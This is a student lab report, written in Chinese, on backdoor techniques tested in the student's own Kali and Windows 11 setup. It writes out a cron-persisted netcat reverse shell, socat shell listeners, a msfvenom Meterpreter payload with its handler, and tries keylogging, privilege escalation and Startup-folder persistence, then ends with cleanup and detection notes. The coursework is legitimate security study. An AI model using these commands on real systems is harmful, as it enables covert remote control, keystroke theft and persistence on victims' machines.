20242429 2026-2027-1 《网络与系统攻防技术》实验二实验报告
实验二 后门原理与实践 实验报告
一、实验内容
1.1 使用Netcat获取远程Shell,并通过Cron定时任务实现持久化;
1.2 使用Socat获取远程Shell,并通过Windows任务计划程序实现持久化;
1.3 使用MSF Meterpreter生成后门程序,投放运行获取会话,并尝试后渗透与提权操作。
二、实验目的
学习Netcat、Socat、Meterpreter三种后门工具的生成、投放与自启动技术;理解反弹Shell的工作原理;掌握Linux Cron与Windows任务计划两种持久化机制;体验Meterpreter的后渗透功能,并观察现代Windows系统对传统提权技术的防御效果。
三、实验环境
攻击机:Kali Linux 虚拟机(VMware,NAT模式),IP地址 192.168.64.128。

目标机:Windows 11 物理主机(版本 10.0.26200.9711),Windows侧对应VMware NAT网关的IP地址为 192.168.64.1。
与参考报告的差异:本次实验Kali使用VMware NAT模式(VMnet8),而非桥接或Host-Only模式。因此Windows侧的通信IP是虚拟网卡 VMware Network Adapter VMnet8 的地址 192.168.64.1,而非WLAN或Radmin VPN的地址。这是后续所有连接命令中IP参数选择的依据。
四、实验过程与分析
4.1 使用Netcat获取Shell并设置Cron持久化
4.1.1 Windows端环境准备
关闭Windows Defender防火墙(专用/公用网络均关闭),并关闭Windows安全中心的“实时保护”。从 eternallybored.org 下载Netcat 1.11压缩包并解压,得到 nc64.exe。
4.1.2 Windows端启动监听
获取主机IP地址
4.1.3 Kali连接并获取Shell
虚拟机切换至root用户并主动让渡命令行控制权

主机获得虚拟机的Shell
4.1.4 在Kali中设置Cron持久化
在Windows端的Netcat窗口中(此时该窗口操控的是Kali),尝试执行 crontab -e,报错:
no crontab for root - using an empty one
Standard input is not a terminal
crontab: "/usr/bin/sensible-editor" exited with status 1
原因分析:通过Netcat反向Shell获得的终端属于非交互式环境,没有分配伪终端(PTY)。crontab -e 需要调用文本编辑器(如vim),而编辑器无法在缺乏TTY的环境下启动。
解决方案:直接追加 Crontab 任务添加定时任务
(crontab -l 2>/dev/null; echo "50 * * * * /bin/nc 192.168.64.1 2409 -e /bin/bash") | crontab -
随后执行 crontab -l,输出确认任务已写入。该任务使Kali在每个小时的第50分钟自动反弹Shell至Windows的2409端口。

4.2 使用Socat获取Shell并设置Windows任务计划持久化
4.2.1 Windows端启动Socat监听
下载Windows版Socat(socat-1.7.3.3-x64),解压至 E:\socat。在PowerShell中执行:
.\socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
执行后出现警告:
find_fast_cwd: WARNING: Couldn't compute FAST_CWD pointer.
分析:这是Cygwin运行库的兼容性提示,表示Socat内置的Cygwin版本相对于当前Windows 11系统较旧。该警告不影响Socat核心功能,监听仍然正常进行。

4.2.2 Kali连接Socat并设置Windows任务计划(持久化)
Kali终端执行:
socat - TCP:192.168.64.1:8888
Kali终端变为Windows的 cmd.exe 提示符(E:\socat>),证明Socat反弹Shell成功。此时可以在Kali终端中直接执行Windows命令。
断开Kali端的Socat连接,在Windows上以管理员身份重新打开PowerShell,再次执行 .\socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr。Kali重新连接后,再次执行上述 schtasks 命令,成功创建任务“SystemUpdate”。

4.3 使用MSF Meterpreter生成后门并获取会话
4.3.1 生成后门程序
Kali终端执行:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=4444 -f exe -o /root/backdoor.exe
与参考报告的差异:参考报告使用 windows/meterpreter/reverse_tcp(32位)且用 > 重定向输出;本次使用 windows/x64/meterpreter/reverse_tcp(64位)且用 -o 参数指定输出路径,以匹配Windows 11 64位目标环境。

4.3.2 投放后门
Kali开启HTTP服务:
cd /root && python3 -m http.server 8000

Windows浏览器访问 http://192.168.64.128:8000/backdoor.exe 下载文件。

Kali另开终端启动MSF监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.64.128
set LPORT 4444
Exploit

Windows上以管理员身份运行 backdoor.exe(Defender可能拦截,选择“仍要运行”)。Kali的MSF中成功获得 meterpreter > 会话。

4.3.3 后渗透操作尝试
在Meterpreter会话中执行 sysinfo、screenshot 等命令,均正常返回目标机信息与屏幕截图,确认会话功能完整。

4.3.4 截图查看目标桌面、开启键盘记录(记录目标打字)、尝试提权至 SYSTEM(失败)

4.3.5提权尝试与上传持久化(失败及分析)
(1)提权失败
执行 getsystem,命令卡死无响应,无法返回提示符。
原因分析:getsystem 的核心前提是当前会话已拥有管理员完整性令牌。如果 backdoor.exe 未以管理员身份运行,或UAC机制未被绕过,getsystem 将无法完成提权。此外,Windows 11对Meterpreter依赖的部分传统提权技术(命名管道模拟、令牌窃取等)已有修补,进一步增加了失败概率。

(2)上传至启动目录失败
执行以下命令,尝试将后门上传至Windows启动目录:
upload /root/backdoor.exe "C:\Users\beibiao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.exe"
返回 Permission denied 并抛出Ruby异常栈。
原因分析:当前Meterpreter会话继承的是普通用户 beibiao 的权限,而 Startup 文件夹受Windows ACL保护,普通用户无权写入。在提权未能成功的前提下,该上传操作无法完成。
Meterpreter 会话上权限不足,传持久化后门失败

由于提权持续受阻,且为避免对物理主机造成进一步影响,决定如实记录该阶段的失败结果,不再强行绕过,直接进入清理阶段。
五、遇到的问题与解决
问题1:crontab -e 报错 Standard input is not a terminal。原因:反向Shell为非交互式环境,无PTY。解决方式:改用管道命令直接写入Crontab。
问题2:Socat启动时出现 find_fast_cwd 警告。原因:旧版Cygwin在新Windows上运行。解决方式:忽略警告,功能不受影响。
问题3:schtasks 创建SYSTEM任务报“拒绝访问”。原因:反弹Shell仅具普通用户权限。解决方式:以管理员身份重新启动Socat监听。
问题4:getsystem 卡死。原因:权限不足,且Win11对传统提权技术有修补。解决方式:记录失败原因,不强行绕过。
问题5:upload 至Startup目录报 Permission denied。原因:普通用户对受保护目录无写入权限。解决方式:记录为权限继承限制的体现。
六、实验总结与体会
本次实验完整实践了Netcat、Socat、Meterpreter三种后门的获取与持久化流程。Netcat部分成功建立了反向Shell并通过非交互式方式写入了Cron任务;Socat部分在解决权限问题后成功创建了SYSTEM级别的开机计划任务;Meterpreter部分成功建立了会话并执行了基础后渗透命令,但在提权与启动目录上传环节被Windows 11的权限机制拦截。
最大的收获来自排错过程本身。crontab -e 的非交互式终端报错让我理解了PTY分配机制;Socat的“拒绝访问”让我意识到反弹Shell继承的是发起进程的权限,而非“自动拥有最高权限”;getsystem 卡死和 upload 的 Permission denied 则直观地展示了现代Windows在UAC和目录ACL上的防御深度——即使攻击者已经获得了远程Shell,在没有完成提权的情况下,仍然无法完成持久化驻留。这种“被拦截”的结果,比一个顺利成功的流程更能说明系统安全机制的实际效果。
此外,NAT网络环境下IP地址的选择(192.168.64.1 而非WLAN地址)也是一个容易出错的细节,它决定了反弹连接能否到达正确的监听端。
七、实验清理
实验结束后已执行以下清理,确保环境恢复原状:
Windows计划任务:以管理员身份执行 schtasks /delete /tn "SystemUpdate" /f,删除Socat持久化任务。
Windows后门文件:在任务管理器中结束 backdoor.exe 进程(MSF显示 Meterpreter session 1 closed. Reason: Died),随后删除下载的 backdoor.exe 文件。
Kali Cron任务:执行 crontab -r 清空root用户的Cron表。
服务关闭:关闭Kali上的 python3 -m http.server 8000 和MSF控制台;关闭Windows端的Socat监听窗口。



问题回答素材
后门进入系统的方式:钓鱼邮件附件、恶意下载链接、供应链植入、未修补的远程漏洞利用等。
后门自启动方式:Windows——注册表Run键、启动文件夹(Startup)、任务计划程序、系统服务;Linux——Cron定时任务、~/.bashrc/~/.profile 启动脚本、systemd服务。
Meterpreter印象深刻的功能:screenshot(远程截屏)、keyscan_start/keyscan_dump(键盘记录)、sysinfo(系统信息采集),以及其模块化的后渗透扩展能力。
如何发现系统是否被安装后门:检查异常进程、审查Cron与任务计划、排查异常的外连网络连接、分析系统与安全日志。
浙公网安备 33010602011771号